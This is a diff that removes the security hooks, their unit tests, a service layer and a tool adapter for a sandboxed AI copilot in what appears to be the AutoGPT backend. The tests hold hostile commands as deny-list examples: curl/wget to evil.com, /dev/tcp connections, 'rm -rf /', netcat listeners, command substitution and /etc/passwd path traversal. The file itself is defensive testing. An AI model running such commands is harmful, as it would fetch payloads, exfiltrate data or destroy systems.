-    Includes security validation and observability hooks:
-    - PreToolUse: Security validation before tool execution
-    - PostToolUse: Log successful tool executions
-    - PostToolUseFailure: Log and handle failed tool executions
-    - PreCompact: Log context compaction events (SDK handles compaction automatically)
-
-    Args:
-        user_id: Current user ID for isolation validation
-        sdk_cwd: SDK working directory for workspace-scoped tool validation
-
-    Returns:
-        Hooks configuration dict for ClaudeAgentOptions
-    """
-    try:
-        from claude_agent_sdk import HookMatcher
-        from claude_agent_sdk.types import HookContext, HookInput, SyncHookJSONOutput
-
-        async def pre_tool_use_hook(
-            input_data: HookInput,
-            tool_use_id: str | None,
-            context: HookContext,
-        ) -> SyncHookJSONOutput:
-            """Combined pre-tool-use validation hook."""
-            _ = context  # unused but required by signature
-            tool_name = cast(str, input_data.get("tool_name", ""))
-            tool_input = cast(dict[str, Any], input_data.get("tool_input", {}))
-
-            # Strip MCP prefix for consistent validation
-            is_copilot_tool = tool_name.startswith(MCP_TOOL_PREFIX)
-            clean_name = tool_name.removeprefix(MCP_TOOL_PREFIX)
-
-            # Only block non-CoPilot tools; our MCP-registered tools
-            # (including Read for oversized results) are already sandboxed.
-            if not is_copilot_tool:
-                result = _validate_tool_access(clean_name, tool_input, sdk_cwd)
-                if result:
-                    return cast(SyncHookJSONOutput, result)
-
-            # Validate user isolation
-            result = _validate_user_isolation(clean_name, tool_input, user_id)
-            if result:
-                return cast(SyncHookJSONOutput, result)
-
-            logger.debug(f"[SDK] Tool start: {tool_name}, user={user_id}")
-            return cast(SyncHookJSONOutput, {})
-
-        async def post_tool_use_hook(
-            input_data: HookInput,
-            tool_use_id: str | None,
-            context: HookContext,
-        ) -> SyncHookJSONOutput:
-            """Log successful tool executions for observability."""
-            _ = context
-            tool_name = cast(str, input_data.get("tool_name", ""))
-            logger.debug(f"[SDK] Tool success: {tool_name}, tool_use_id={tool_use_id}")
-            return cast(SyncHookJSONOutput, {})
-
-        async def post_tool_failure_hook(
-            input_data: HookInput,
-            tool_use_id: str | None,
-            context: HookContext,
-        ) -> SyncHookJSONOutput:
-            """Log failed tool executions for debugging."""
-            _ = context
-            tool_name = cast(str, input_data.get("tool_name", ""))
-            error = input_data.get("error", "Unknown error")
-            logger.warning(
-                f"[SDK] Tool failed: {tool_name}, error={error}, "
-                f"user={user_id}, tool_use_id={tool_use_id}"
-            )
-            return cast(SyncHookJSONOutput, {})
-
-        async def pre_compact_hook(
-            input_data: HookInput,
-            tool_use_id: str | None,
-            context: HookContext,
-        ) -> SyncHookJSONOutput:
-            """Log when SDK triggers context compaction.
-
-            The SDK automatically compacts conversation history when it grows too large.
-            This hook provides visibility into when compaction happens.
-            """
-            _ = context, tool_use_id
-            trigger = input_data.get("trigger", "auto")
-            logger.info(
-                f"[SDK] Context compaction triggered: {trigger}, user={user_id}"
-            )
-            return cast(SyncHookJSONOutput, {})
-
-        return {
-            "PreToolUse": [HookMatcher(matcher="*", hooks=[pre_tool_use_hook])],
-            "PostToolUse": [HookMatcher(matcher="*", hooks=[post_tool_use_hook])],
-            "PostToolUseFailure": [
-                HookMatcher(matcher="*", hooks=[post_tool_failure_hook])
-            ],
-            "PreCompact": [HookMatcher(matcher="*", hooks=[pre_compact_hook])],
-        }
-    except ImportError:
-        # Fallback for when SDK isn't available - return empty hooks
-        logger.warning("claude-agent-sdk not available, security hooks disabled")
-        return {}

autogpt_platform/backend/backend/api/features/chat/sdk/security_hooks_test.py

@@ -1,258 +0,0 @@
-"""Unit tests for SDK security hooks."""
-
-import os
-
-from .security_hooks import _validate_tool_access, _validate_user_isolation
-
-SDK_CWD = "/tmp/copilot-abc123"
-
-
-def _is_denied(result: dict) -> bool:
-    hook = result.get("hookSpecificOutput", {})
-    return hook.get("permissionDecision") == "deny"
-
-
-# -- Blocked tools -----------------------------------------------------------
-
-
-def test_blocked_tools_denied():
-    for tool in ("bash", "shell", "exec", "terminal", "command"):
-        result = _validate_tool_access(tool, {})
-        assert _is_denied(result), f"{tool} should be blocked"
-
-
-def test_unknown_tool_allowed():
-    result = _validate_tool_access("SomeCustomTool", {})
-    assert result == {}
-
-
-# -- Workspace-scoped tools --------------------------------------------------
-
-
-def test_read_within_workspace_allowed():
-    result = _validate_tool_access(
-        "Read", {"file_path": f"{SDK_CWD}/file.txt"}, sdk_cwd=SDK_CWD
-    )
-    assert result == {}
-
-
-def test_write_within_workspace_allowed():
-    result = _validate_tool_access(
-        "Write", {"file_path": f"{SDK_CWD}/output.json"}, sdk_cwd=SDK_CWD
-    )
-    assert result == {}
-
-
-def test_edit_within_workspace_allowed():
-    result = _validate_tool_access(
-        "Edit", {"file_path": f"{SDK_CWD}/src/main.py"}, sdk_cwd=SDK_CWD
-    )
-    assert result == {}
-
-
-def test_glob_within_workspace_allowed():
-    result = _validate_tool_access("Glob", {"path": f"{SDK_CWD}/src"}, sdk_cwd=SDK_CWD)
-    assert result == {}
-
-
-def test_grep_within_workspace_allowed():
-    result = _validate_tool_access("Grep", {"path": f"{SDK_CWD}/src"}, sdk_cwd=SDK_CWD)
-    assert result == {}
-
-
-def test_read_outside_workspace_denied():
-    result = _validate_tool_access(
-        "Read", {"file_path": "/etc/passwd"}, sdk_cwd=SDK_CWD
-    )
-    assert _is_denied(result)
-
-
-def test_write_outside_workspace_denied():
-    result = _validate_tool_access(
-        "Write", {"file_path": "/home/user/secrets.txt"}, sdk_cwd=SDK_CWD
-    )
-    assert _is_denied(result)
-
-
-def test_traversal_attack_denied():
-    result = _validate_tool_access(
-        "Read",
-        {"file_path": f"{SDK_CWD}/../../etc/passwd"},
-        sdk_cwd=SDK_CWD,
-    )
-    assert _is_denied(result)
-
-
-def test_no_path_allowed():
-    """Glob/Grep without a path argument defaults to cwd — should pass."""
-    result = _validate_tool_access("Glob", {}, sdk_cwd=SDK_CWD)
-    assert result == {}
-
-
-def test_read_no_cwd_denies_absolute():
-    """If no sdk_cwd is set, absolute paths are denied."""
-    result = _validate_tool_access("Read", {"file_path": "/tmp/anything"})
-    assert _is_denied(result)
-
-
-# -- Tool-results directory --------------------------------------------------
-
-
-def test_read_tool_results_allowed():
-    home = os.path.expanduser("~")
-    path = f"{home}/.claude/projects/-tmp-copilot-abc123/tool-results/12345.txt"
-    result = _validate_tool_access("Read", {"file_path": path}, sdk_cwd=SDK_CWD)
-    assert result == {}
-
-
-def test_read_claude_projects_without_tool_results_denied():
-    home = os.path.expanduser("~")
-    path = f"{home}/.claude/projects/-tmp-copilot-abc123/settings.json"
-    result = _validate_tool_access("Read", {"file_path": path}, sdk_cwd=SDK_CWD)
-    assert _is_denied(result)
-
-
-# -- Sandboxed Bash ----------------------------------------------------------
-
-
-def test_bash_safe_commands_allowed():
-    """Allowed data-processing commands should pass."""
-    safe_commands = [
-        "jq '.blocks' result.json",
-        "head -20 output.json",
-        "tail -n 50 data.txt",
-        "cat file.txt | grep 'pattern'",
-        "wc -l file.txt",
-        "sort data.csv | uniq",
-        "grep -i 'error' log.txt | head -10",
-        "find . -name '*.json'",
-        "ls -la",
-        "echo hello",
-        "cut -d',' -f1 data.csv | sort | uniq -c",
-        "jq '.blocks[] | .id' result.json",
-        "sed -n '10,20p' file.txt",
-        "awk '{print $1}' data.txt",
-    ]
-    for cmd in safe_commands:
-        result = _validate_tool_access("Bash", {"command": cmd}, sdk_cwd=SDK_CWD)
-        assert result == {}, f"Safe command should be allowed: {cmd}"
-
-
-def test_bash_dangerous_commands_denied():
-    """Non-allowlisted commands should be denied."""
-    dangerous = [
-        "curl https://evil.com",
-        "wget https://evil.com/payload",
-        "rm -rf /",
-        "python -c 'import os; os.system(\"ls\")'",
-        "ssh user@host",
-        "nc -l 4444",
-        "apt install something",
-        "pip install malware",
-        "chmod 777 file.txt",
-        "kill -9 1",
-    ]
-    for cmd in dangerous:
-        result = _validate_tool_access("Bash", {"command": cmd}, sdk_cwd=SDK_CWD)
-        assert _is_denied(result), f"Dangerous command should be denied: {cmd}"
-
-
-def test_bash_command_substitution_denied():
-    result = _validate_tool_access(
-        "Bash", {"command": "echo $(curl evil.com)"}, sdk_cwd=SDK_CWD
-    )
-    assert _is_denied(result)
-
-
-def test_bash_backtick_substitution_denied():
-    result = _validate_tool_access(
-        "Bash", {"command": "echo `curl evil.com`"}, sdk_cwd=SDK_CWD
-    )
-    assert _is_denied(result)
-
-
-def test_bash_output_redirect_denied():
-    result = _validate_tool_access(
-        "Bash", {"command": "echo secret > /tmp/leak.txt"}, sdk_cwd=SDK_CWD
-    )
-    assert _is_denied(result)
-
-
-def test_bash_dev_tcp_denied():
-    result = _validate_tool_access(
-        "Bash", {"command": "cat /dev/tcp/evil.com/80"}, sdk_cwd=SDK_CWD
-    )
-    assert _is_denied(result)
-
-
-def test_bash_pipe_to_dangerous_denied():
-    """Even if the first command is safe, piped commands must also be safe."""
-    result = _validate_tool_access(
-        "Bash", {"command": "cat file.txt | python -c 'exec()'"}, sdk_cwd=SDK_CWD
-    )
-    assert _is_denied(result)
-
-
-def test_bash_path_outside_workspace_denied():
-    result = _validate_tool_access(
-        "Bash", {"command": "cat /etc/passwd"}, sdk_cwd=SDK_CWD
-    )
-    assert _is_denied(result)
-
-
-def test_bash_path_within_workspace_allowed():
-    result = _validate_tool_access(
-        "Bash",
-        {"command": f"jq '.blocks' {SDK_CWD}/tool-results/result.json"},
-        sdk_cwd=SDK_CWD,
-    )
-    assert result == {}
-
-
-def test_bash_empty_command_denied():
-    result = _validate_tool_access("Bash", {"command": ""}, sdk_cwd=SDK_CWD)
-    assert _is_denied(result)
-
-
-# -- Dangerous patterns ------------------------------------------------------
-
-
-def test_dangerous_pattern_blocked():
-    result = _validate_tool_access("SomeTool", {"cmd": "sudo rm -rf /"})
-    assert _is_denied(result)
-
-
-def test_subprocess_pattern_blocked():
-    result = _validate_tool_access("SomeTool", {"code": "subprocess.run(...)"})
-    assert _is_denied(result)
-
-
-# -- User isolation ----------------------------------------------------------
-
-
-def test_workspace_path_traversal_blocked():
-    result = _validate_user_isolation(
-        "workspace_read", {"path": "../../../etc/shadow"}, user_id="user-1"
-    )
-    assert _is_denied(result)
-
-
-def test_workspace_absolute_path_blocked():
-    result = _validate_user_isolation(
-        "workspace_read", {"path": "/etc/passwd"}, user_id="user-1"
-    )
-    assert _is_denied(result)
-
-
-def test_workspace_normal_path_allowed():
-    result = _validate_user_isolation(
-        "workspace_read", {"path": "src/main.py"}, user_id="user-1"
-    )
-    assert result == {}
-
-
-def test_non_workspace_tool_passes_isolation():
-    result = _validate_user_isolation(
-        "find_agent", {"query": "email"}, user_id="user-1"
-    )
-    assert result == {}

autogpt_platform/backend/backend/api/features/chat/sdk/service.py

@@ -1,497 +0,0 @@
-"""Claude Agent SDK service layer for CoPilot chat completions."""
-
-import asyncio
-import json
-import logging
-import os
-import re
-import uuid
-from collections.abc import AsyncGenerator
-from typing import Any
-
-from backend.util.exceptions import NotFoundError
-
-from ..config import ChatConfig
-from ..model import (
-    ChatMessage,
-    ChatSession,
-    get_chat_session,
-    update_session_title,
-    upsert_chat_session,
-)
-from ..response_model import (
-    StreamBaseResponse,
-    StreamError,
-    StreamFinish,
-    StreamStart,
-    StreamTextDelta,
-    StreamToolInputAvailable,
-    StreamToolOutputAvailable,
-)
-from ..service import _build_system_prompt, _generate_session_title
-from ..tracking import track_user_message
-from .anthropic_fallback import stream_with_anthropic
-from .response_adapter import SDKResponseAdapter
-from .security_hooks import create_security_hooks
-from .tool_adapter import (
-    COPILOT_TOOL_NAMES,
-    create_copilot_mcp_server,
-    set_execution_context,
-)
-from .tracing import TracedSession, create_tracing_hooks, merge_hooks
-
-logger = logging.getLogger(__name__)
-config = ChatConfig()
-
-# Set to hold background tasks to prevent garbage collection
-_background_tasks: set[asyncio.Task[Any]] = set()
-
-
-_SDK_CWD_PREFIX = "/tmp/copilot-"
-
-# Appended to the system prompt to inform the agent about Bash restrictions.
-# The SDK already describes each tool (Read, Write, Edit, Glob, Grep, Bash),
-# but it doesn't know about our security hooks' command allowlist for Bash.
-_SDK_TOOL_SUPPLEMENT = """
-
-## Bash restrictions
-
-The Bash tool is restricted to safe, read-only data-processing commands:
-jq, grep, head, tail, cat, wc, sort, uniq, cut, tr, sed, awk, find, ls,
-echo, diff, base64, and similar utilities.
-Network commands (curl, wget), destructive commands (rm, chmod), and
-interpreters (python, node) are NOT available.
-"""
-
-
-def _make_sdk_cwd(session_id: str) -> str:
-    """Create a safe, session-specific working directory path.
-
-    Sanitizes session_id, then validates the resulting path stays under /tmp/
-    using normpath + startswith (the pattern CodeQL recognises as a sanitizer).
-    """
-    # Step 1: Sanitize - only allow alphanumeric and hyphens
-    safe_id = re.sub(r"[^A-Za-z0-9-]", "", session_id)
-    if not safe_id:
-        raise ValueError("Session ID is empty after sanitization")
-
-    # Step 2: Construct path with known-safe prefix
-    cwd = os.path.normpath(f"{_SDK_CWD_PREFIX}{safe_id}")
-
-    # Step 3: Validate the path is still under our prefix (prevent traversal)
-    if not cwd.startswith(_SDK_CWD_PREFIX):
-        raise ValueError(f"Session path escaped prefix: {cwd}")
-
-    # Step 4: Additional assertion for defense-in-depth
-    assert cwd.startswith("/tmp/copilot-"), f"Path validation failed: {cwd}"
-
-    return cwd
-
-
-def _cleanup_sdk_tool_results(cwd: str) -> None:
-    """Remove SDK tool-result files for a specific session working directory.
-
-    The SDK creates tool-result files under ~/.claude/projects/<encoded-cwd>/tool-results/.
-    We clean only the specific cwd's results to avoid race conditions between
-    concurrent sessions.
-
-    Security: cwd MUST be created by _make_sdk_cwd() which sanitizes session_id.
-    """
-    import shutil
-
-    # Security check 1: Validate cwd is under the expected prefix
-    normalized = os.path.normpath(cwd)
-    if not normalized.startswith(_SDK_CWD_PREFIX):
-        logger.warning(f"[SDK] Rejecting cleanup for invalid path: {cwd}")
-        return
-
-    # Security check 2: Ensure no path traversal in the normalized path
-    if ".." in normalized:
-        logger.warning(f"[SDK] Rejecting cleanup for traversal attempt: {cwd}")
-        return
-
-    # SDK encodes the cwd path by replacing '/' with '-'
-    encoded_cwd = normalized.replace("/", "-")
-
-    # Construct the project directory path (known-safe home expansion)
-    claude_projects = os.path.expanduser("~/.claude/projects")
-    project_dir = os.path.join(claude_projects, encoded_cwd)
-
-    # Security check 3: Validate project_dir is under ~/.claude/projects
-    project_dir = os.path.normpath(project_dir)
-    if not project_dir.startswith(claude_projects):
-        logger.warning(
-            f"[SDK] Rejecting cleanup for escaped project path: {project_dir}"
-        )
-        return
-
-    results_dir = os.path.join(project_dir, "tool-results")
-    if os.path.isdir(results_dir):
-        for filename in os.listdir(results_dir):
-            file_path = os.path.join(results_dir, filename)
-            try:
-                if os.path.isfile(file_path):
-                    os.remove(file_path)
-            except OSError:
-                pass
-
-    # Also clean up the temp cwd directory itself
-    try:
-        shutil.rmtree(normalized, ignore_errors=True)
-    except OSError:
-        pass
-
-
-async def _compress_conversation_history(
-    session: ChatSession,
-) -> list[ChatMessage]:
-    """Compress prior conversation messages if they exceed the token threshold.
-
-    Uses the shared compress_context() from prompt.py which supports:
-    - LLM summarization of old messages (keeps recent ones intact)
-    - Progressive content truncation as fallback
-    - Middle-out deletion as last resort
-
-    Returns the compressed prior messages (everything except the current message).
-    """
-    prior = session.messages[:-1]
-    if len(prior) < 2:
-        return prior
-
-    from backend.util.prompt import compress_context
-
-    # Convert ChatMessages to dicts for compress_context
-    messages_dict = []
-    for msg in prior:
-        msg_dict: dict[str, Any] = {"role": msg.role}
-        if msg.content:
-            msg_dict["content"] = msg.content
-        if msg.tool_calls:
-            msg_dict["tool_calls"] = msg.tool_calls
-        if msg.tool_call_id:
-            msg_dict["tool_call_id"] = msg.tool_call_id
-        messages_dict.append(msg_dict)
-
-    try:
-        import openai
-
-        async with openai.AsyncOpenAI(
-            api_key=config.api_key, base_url=config.base_url, timeout=30.0
-        ) as client:
-            result = await compress_context(
-                messages=messages_dict,
-                model=config.model,
-                client=client,
-            )
-    except Exception as e:
-        logger.warning(f"[SDK] Context compression with LLM failed: {e}")
-        # Fall back to truncation-only (no LLM summarization)
-        result = await compress_context(
-            messages=messages_dict,
-            model=config.model,
-            client=None,
-        )
-
-    if result.was_compacted:
-        logger.info(
-            f"[SDK] Context compacted: {result.original_token_count} -> "
-            f"{result.token_count} tokens "
-            f"({result.messages_summarized} summarized, "
-            f"{result.messages_dropped} dropped)"
-        )
-        # Convert compressed dicts back to ChatMessages
-        return [
-            ChatMessage(
-                role=m["role"],
-                content=m.get("content"),
-                tool_calls=m.get("tool_calls"),
-                tool_call_id=m.get("tool_call_id"),
-            )
-            for m in result.messages
-        ]
-
-    return prior
-
-
-def _format_conversation_context(messages: list[ChatMessage]) -> str | None:
-    """Format conversation messages into a context prefix for the user message.
-
-    Returns a string like:
-        <conversation_history>
-        User: hello
-        You responded: Hi! How can I help?
-        </conversation_history>
-
-    Returns None if there are no messages to format.
-    """
-    if not messages:
-        return None
-
-    lines: list[str] = []
-    for msg in messages:
-        if not msg.content:
-            continue
-        if msg.role == "user":
-            lines.append(f"User: {msg.content}")
-        elif msg.role == "assistant":
-            lines.append(f"You responded: {msg.content}")
-        # Skip tool messages — they're internal details
-
-    if not lines:
-        return None
-
-    return "<conversation_history>\n" + "\n".join(lines) + "\n</conversation_history>"
-
-
-async def stream_chat_completion_sdk(
-    session_id: str,
-    message: str | None = None,
-    tool_call_response: str | None = None,  # noqa: ARG001
-    is_user_message: bool = True,
-    user_id: str | None = None,
-    retry_count: int = 0,  # noqa: ARG001
-    session: ChatSession | None = None,
-    context: dict[str, str] | None = None,  # noqa: ARG001
-) -> AsyncGenerator[StreamBaseResponse, None]:
-    """Stream chat completion using Claude Agent SDK.
-
-    Drop-in replacement for stream_chat_completion with improved reliability.
-    """
-
-    if session is None:
-        session = await get_chat_session(session_id, user_id)
-
-    if not session:
-        raise NotFoundError(
-            f"Session {session_id} not found. Please create a new session first."
-        )
-
-    if message:
-        session.messages.append(
-            ChatMessage(
-                role="user" if is_user_message else "assistant", content=message
-            )
-        )
-        if is_user_message:
-            track_user_message(
-                user_id=user_id, session_id=session_id, message_length=len(message)
-            )
-
-    session = await upsert_chat_session(session)
-
-    # Generate title for new sessions (first user message)
-    if is_user_message and not session.title:
-        user_messages = [m for m in session.messages if m.role == "user"]
-        if len(user_messages) == 1:
-            first_message = user_messages[0].content or message or ""
-            if first_message:
-                task = asyncio.create_task(
-                    _update_title_async(session_id, first_message, user_id)
-                )
-                _background_tasks.add(task)
-                task.add_done_callback(_background_tasks.discard)
-
-    # Build system prompt (reuses non-SDK path with Langfuse support)
-    has_history = len(session.messages) > 1
-    system_prompt, _ = await _build_system_prompt(
-        user_id, has_conversation_history=has_history
-    )
-    system_prompt += _SDK_TOOL_SUPPLEMENT
-    message_id = str(uuid.uuid4())
-    text_block_id = str(uuid.uuid4())
-    task_id = str(uuid.uuid4())
-
-    yield StreamStart(messageId=message_id, taskId=task_id)
-
-    stream_completed = False
-    # Use a session-specific temp dir to avoid cleanup race conditions
-    # between concurrent sessions.
-    sdk_cwd = _make_sdk_cwd(session_id)
-    os.makedirs(sdk_cwd, exist_ok=True)
-
-    set_execution_context(user_id, session, None)
-
-    try:
-        try:
-            from claude_agent_sdk import ClaudeAgentOptions, ClaudeSDKClient
-
-            mcp_server = create_copilot_mcp_server()
-
-            # Initialize Langfuse tracing (no-op if not configured)
-            tracer = TracedSession(session_id, user_id, system_prompt)
-
-            # Merge security hooks with optional tracing hooks
-            security_hooks = create_security_hooks(user_id, sdk_cwd=sdk_cwd)
-            tracing_hooks = create_tracing_hooks(tracer)
-            combined_hooks = merge_hooks(security_hooks, tracing_hooks)
-
-            options = ClaudeAgentOptions(
-                system_prompt=system_prompt,
-                mcp_servers={"copilot": mcp_server},  # type: ignore[arg-type]
-                allowed_tools=COPILOT_TOOL_NAMES,
-                hooks=combined_hooks,  # type: ignore[arg-type]
-                cwd=sdk_cwd,
-                max_buffer_size=config.sdk_max_buffer_size,
-            )
-
-            adapter = SDKResponseAdapter(message_id=message_id)
-            adapter.set_task_id(task_id)
-
-            async with tracer, ClaudeSDKClient(options=options) as client:
-                current_message = message or ""
-                if not current_message and session.messages:
-                    last_user = [m for m in session.messages if m.role == "user"]
-                    if last_user:
-                        current_message = last_user[-1].content or ""
-
-                if not current_message.strip():
-                    yield StreamError(
-                        errorText="Message cannot be empty.",
-                        code="empty_prompt",
-                    )
-                    yield StreamFinish()
-                    return
-
-                # Build query with conversation history context.
-                # Compress history first to handle long conversations.
-                query_message = current_message
-                if len(session.messages) > 1:
-                    compressed = await _compress_conversation_history(session)
-                    history_context = _format_conversation_context(compressed)
-                    if history_context:
-                        query_message = (
-                            f"{history_context}\n\n"
-                            f"Now, the user says:\n{current_message}"
-                        )
-
-                logger.info(
-                    f"[SDK] Sending query: {current_message[:80]!r}"
-                    f" ({len(session.messages)} msgs in session)"
-                )
-                tracer.log_user_message(current_message)
-                await client.query(query_message, session_id=session_id)
-
-                assistant_response = ChatMessage(role="assistant", content="")
-                accumulated_tool_calls: list[dict[str, Any]] = []
-                has_appended_assistant = False
-                has_tool_results = False
-
-                async for sdk_msg in client.receive_messages():
-                    logger.debug(
-                        f"[SDK] Received: {type(sdk_msg).__name__} "
-                        f"{getattr(sdk_msg, 'subtype', '')}"
-                    )
-                    tracer.log_sdk_message(sdk_msg)
-                    for response in adapter.convert_message(sdk_msg):
-                        if isinstance(response, StreamStart):
-                            continue
-                        yield response
-
-                        if isinstance(response, StreamTextDelta):
-                            delta = response.delta or ""
-                            # After tool results, start a new assistant
-                            # message for the post-tool text.
-                            if has_tool_results and has_appended_assistant:
-                                assistant_response = ChatMessage(
-                                    role="assistant", content=delta
-                                )
-                                accumulated_tool_calls = []
-                                has_appended_assistant = False
-                                has_tool_results = False
-                                session.messages.append(assistant_response)
-                                has_appended_assistant = True
-                            else:
-                                assistant_response.content = (
-                                    assistant_response.content or ""
-                                ) + delta
-                                if not has_appended_assistant:
-                                    session.messages.append(assistant_response)
-                                    has_appended_assistant = True
-
-                        elif isinstance(response, StreamToolInputAvailable):
-                            accumulated_tool_calls.append(
-                                {
-                                    "id": response.toolCallId,
-                                    "type": "function",
-                                    "function": {
-                                        "name": response.toolName,
-                                        "arguments": json.dumps(response.input or {}),
-                                    },
-                                }
-                            )
-                            assistant_response.tool_calls = accumulated_tool_calls
-                            if not has_appended_assistant:
-                                session.messages.append(assistant_response)
-                                has_appended_assistant = True
-
-                        elif isinstance(response, StreamToolOutputAvailable):
-                            session.messages.append(
-                                ChatMessage(
-                                    role="tool",
-                                    content=(
-                                        response.output
-                                        if isinstance(response.output, str)
-                                        else str(response.output)
-                                    ),
-                                    tool_call_id=response.toolCallId,
-                                )
-                            )
-                            has_tool_results = True
-
-                        elif isinstance(response, StreamFinish):
-                            stream_completed = True
-
-                    if stream_completed:
-                        break
-
-                if (
-                    assistant_response.content or assistant_response.tool_calls
-                ) and not has_appended_assistant:
-                    session.messages.append(assistant_response)
-
-        except ImportError:
-            logger.warning(
-                "[SDK] claude-agent-sdk not available, using Anthropic fallback"
-            )
-            async for response in stream_with_anthropic(
-                session, system_prompt, text_block_id
-            ):
-                if isinstance(response, StreamFinish):
-                    stream_completed = True
-                yield response
-
-        await upsert_chat_session(session)
-        logger.debug(
-            f"[SDK] Session {session_id} saved with {len(session.messages)} messages"
-        )
-        if not stream_completed:
-            yield StreamFinish()
-
-    except Exception as e:
-        logger.error(f"[SDK] Error: {e}", exc_info=True)
-        try:
-            await upsert_chat_session(session)
-        except Exception as save_err:
-            logger.error(f"[SDK] Failed to save session on error: {save_err}")
-        yield StreamError(
-            errorText="An error occurred. Please try again.",
-            code="sdk_error",
-        )
-        yield StreamFinish()
-    finally:
-        _cleanup_sdk_tool_results(sdk_cwd)
-
-
-async def _update_title_async(
-    session_id: str, message: str, user_id: str | None = None
-) -> None:
-    """Background task to update session title."""
-    try:
-        title = await _generate_session_title(
-            message, user_id=user_id, session_id=session_id
-        )
-        if title:
-            await update_session_title(session_id, title)
-            logger.debug(f"[SDK] Generated title for {session_id}: {title}")
-    except Exception as e:
-        logger.warning(f"[SDK] Failed to update session title: {e}")

autogpt_platform/backend/backend/api/features/chat/sdk/tool_adapter.py

@@ -1,321 +0,0 @@
-"""Tool adapter for wrapping existing CoPilot tools as Claude Agent SDK MCP tools.
-
-This module provides the adapter layer that converts existing BaseTool implementations
-into in-process MCP tools that can be used with the Claude Agent SDK.
-"""
-
-import json
-import logging
-import os
-import uuid
-from contextvars import ContextVar
-from typing import Any
-
-from backend.api.features.chat.model import ChatSession
-from backend.api.features.chat.tools import TOOL_REGISTRY
-from backend.api.features.chat.tools.base import BaseTool
-
-logger = logging.getLogger(__name__)
-
-# Allowed base directory for the Read tool (SDK saves oversized tool results here)
-_SDK_TOOL_RESULTS_DIR = os.path.expanduser("~/.claude/")
-
-# MCP server naming - the SDK prefixes tool names as "mcp__{server_name}__{tool}"
-MCP_SERVER_NAME = "copilot"
-MCP_TOOL_PREFIX = f"mcp__{MCP_SERVER_NAME}__"
-
-# Context variables to pass user/session info to tool execution
-_current_user_id: ContextVar[str | None] = ContextVar("current_user_id", default=None)
-_current_session: ContextVar[ChatSession | None] = ContextVar(
-    "current_session", default=None
-)
-_current_tool_call_id: ContextVar[str | None] = ContextVar(
-    "current_tool_call_id", default=None
-)
-
-# Stash for MCP tool outputs before the SDK potentially truncates them.
-# Keyed by tool_name → full output string. Consumed (popped) by the
-# response adapter when it builds StreamToolOutputAvailable.
-_pending_tool_outputs: ContextVar[dict[str, str]] = ContextVar(
-    "pending_tool_outputs", default=None  # type: ignore[arg-type]
-)
-
-
-def set_execution_context(
-    user_id: str | None,
-    session: ChatSession,
-    tool_call_id: str | None = None,
-) -> None:
-    """Set the execution context for tool calls.
-
-    This must be called before streaming begins to ensure tools have access
-    to user_id and session information.
-    """
-    _current_user_id.set(user_id)
-    _current_session.set(session)
-    _current_tool_call_id.set(tool_call_id)
-    _pending_tool_outputs.set({})
-
-
-def get_execution_context() -> tuple[str | None, ChatSession | None, str | None]:
-    """Get the current execution context."""
-    return (
-        _current_user_id.get(),
-        _current_session.get(),
-        _current_tool_call_id.get(),
-    )
-
-
-def pop_pending_tool_output(tool_name: str) -> str | None:
-    """Pop and return the stashed full output for *tool_name*.
-
-    The SDK CLI may truncate large tool results (writing them to disk and
-    replacing the content with a file reference). This stash keeps the
-    original MCP output so the response adapter can forward it to the
-    frontend for proper widget rendering.
-
-    Returns ``None`` if nothing was stashed for *tool_name*.
-    """
-    pending = _pending_tool_outputs.get(None)
-    if pending is None:
-        return None
-    return pending.pop(tool_name, None)
-
-
-def create_tool_handler(base_tool: BaseTool):
-    """Create an async handler function for a BaseTool.
-
-    This wraps the existing BaseTool._execute method to be compatible
-    with the Claude Agent SDK MCP tool format.
-    """
-
-    async def tool_handler(args: dict[str, Any]) -> dict[str, Any]:
-        """Execute the wrapped tool and return MCP-formatted response."""
-        user_id, session, tool_call_id = get_execution_context()
-
-        if session is None:
-            return {
-                "content": [
-                    {
-                        "type": "text",
-                        "text": json.dumps(
-                            {
-                                "error": "No session context available",
-                                "type": "error",
-                            }
-                        ),
-                    }
-                ],
-                "isError": True,
-            }
-
-        try:
-            # Call the existing tool's execute method
-            # Generate unique tool_call_id per invocation for proper correlation
-            effective_id = tool_call_id or f"sdk-{uuid.uuid4().hex[:12]}"
-            result = await base_tool.execute(
-                user_id=user_id,
-                session=session,
-                tool_call_id=effective_id,
-                **args,
-            )
-
-            # The result is a StreamToolOutputAvailable, extract the output
-            text = (
-                result.output
-                if isinstance(result.output, str)
-                else json.dumps(result.output)
-            )
-
-            # Stash the full output before the SDK potentially truncates it.
-            # The response adapter will pop this for frontend widget rendering.
-            pending = _pending_tool_outputs.get(None)
-            if pending is not None:
-                pending[base_tool.name] = text
-
-            return {
-                "content": [{"type": "text", "text": text}],
-                "isError": not result.success,
-            }
-
-        except Exception as e:
-            logger.error(f"Error executing tool {base_tool.name}: {e}", exc_info=True)
-            return {
-                "content": [
-                    {
-                        "type": "text",
-                        "text": json.dumps(
-                            {
-                                "error": str(e),
-                                "type": "error",
-                                "message": f"Failed to execute {base_tool.name}",
-                            }
-                        ),
-                    }
-                ],
-                "isError": True,
-            }
-
-    return tool_handler
-
-
-def _build_input_schema(base_tool: BaseTool) -> dict[str, Any]:
-    """Build a JSON Schema input schema for a tool."""
-    return {
-        "type": "object",
-        "properties": base_tool.parameters.get("properties", {}),
-        "required": base_tool.parameters.get("required", []),
-    }
-
-
-def get_tool_definitions() -> list[dict[str, Any]]:
-    """Get all tool definitions in MCP format.
-
-    Returns a list of tool definitions that can be used with
-    create_sdk_mcp_server or as raw tool definitions.
-    """
-    tool_definitions = []
-
-    for tool_name, base_tool in TOOL_REGISTRY.items():
-        tool_def = {
-            "name": tool_name,
-            "description": base_tool.description,
-            "inputSchema": _build_input_schema(base_tool),
-        }
-        tool_definitions.append(tool_def)
-
-    return tool_definitions
-
-
-def get_tool_handlers() -> dict[str, Any]:
-    """Get all tool handlers mapped by name.
-
-    Returns a dictionary mapping tool names to their handler functions.
-    """
-    handlers = {}
-
-    for tool_name, base_tool in TOOL_REGISTRY.items():
-        handlers[tool_name] = create_tool_handler(base_tool)
-
-    return handlers
-
-
-async def _read_file_handler(args: dict[str, Any]) -> dict[str, Any]:
-    """Read a file with optional offset/limit. Restricted to SDK working directory.
-
-    After reading, the file is deleted to prevent accumulation in long-running pods.
-    """
-    file_path = args.get("file_path", "")
-    offset = args.get("offset", 0)
-    limit = args.get("limit", 2000)
-
-    # Security: only allow reads under the SDK's working directory
-    real_path = os.path.realpath(file_path)
-    if not real_path.startswith(_SDK_TOOL_RESULTS_DIR):
-        return {
-            "content": [{"type": "text", "text": f"Access denied: {file_path}"}],
-            "isError": True,
-        }
-
-    try:
